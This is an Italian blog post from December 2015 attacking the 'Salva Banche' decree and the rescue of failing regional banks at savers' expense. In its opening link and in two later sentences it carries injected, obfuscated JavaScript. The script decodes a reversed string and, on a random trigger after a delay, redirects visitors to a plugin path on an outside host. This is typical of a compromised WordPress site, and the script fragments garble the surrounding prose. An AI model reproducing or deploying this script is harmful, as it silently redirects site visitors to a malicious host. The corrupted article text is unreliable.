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Banche in forte sofferenza: pagano i risparmiatori

Pubblicato il 13 dicembre 2015
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banche regionali salvate a spese dei risparmiatoriDopo il decreto “$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande_-129504046/” target=”_blank”>Salva Banche” sono migliaia i risparmiatori in forte difficoltà.

Dal 2012 a oggi è aumentato di oltre il 30% il numero di banche cosiddette in Amministrazione Straordinaria o Coatta: vale a dire istituti di credito guidati da un pool di manager dalle dubbie capacità gestionali che, anziché far fruttare i risparmi fiduciariamente a loro affidati da migliaia e migliaia di correntisti, sono riusciti nello straordinario intento di portare sull’orlo del fallimento realtà bancarie magari ultracentenarie, e pertanto ben radicate sui rispettivi territori di riferimento.

Con il rischio gravissimo e imperdonabile di veder sfumare in un istante i sacrifici di una vita per chi si è fidato erroneamente di loro. Senza trascurare il dato di una riduzione di occupazione pesante, che fa sì che il proprio cassiere di fiducia oggi ci sia, e ti dia il contante allo sportello, e magari domani non più!

Sono più di 15 le banche grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andi, medie e piccole che tutti e quattro i governi italiani non eletti dal popolo dal 2011 a oggi hanno salvato, mediante l’approvazione di cosiddetti decreti “ad hoc”, stanziandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando somme ingentissime per coprire i buchi creati da queste e provvedere alla loro ricapitalizzazione.

Banca d’Italia ha naturalmente dato il proprio benestare a tali inqualificabili operazioni che non fanno altro che aumentare il pressing fiscale diretto e indiretto sui poveri cittadini, dalle tasche dei quali provengono gli euro ogni volta necessari perché determinate banche non muoiano.

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